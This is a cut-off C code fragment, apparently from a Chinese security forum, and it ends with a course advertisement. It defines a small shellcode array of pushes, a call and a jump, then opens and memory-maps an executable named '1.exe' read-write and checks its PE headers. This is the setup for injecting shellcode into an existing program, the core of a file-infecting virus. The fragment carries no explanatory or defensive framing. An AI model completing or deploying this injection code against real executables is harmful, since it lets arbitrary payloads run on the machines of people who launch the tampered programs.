unsigned char shellcode[17] = {
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
0xE8, 0x91, 0xFC, 0x2E, 0x74,
0xE9, 0xEE, 0x90, 0x0B
};
hFile = CreateFile("1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("CreateFile Error: %d\n", GetLastError());
return;
}
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
if (hMap == NULL)
{
printf("CreateFileMapping Error: %d\n", GetLastError());
CloseHandle(hFile);
return;
}
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
if (!lpBase)
{
printf("MapViewOfFile Error: %d\n", GetLastError());
CloseHandle(hMap);
CloseHandle(hFile);
return;
}
pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课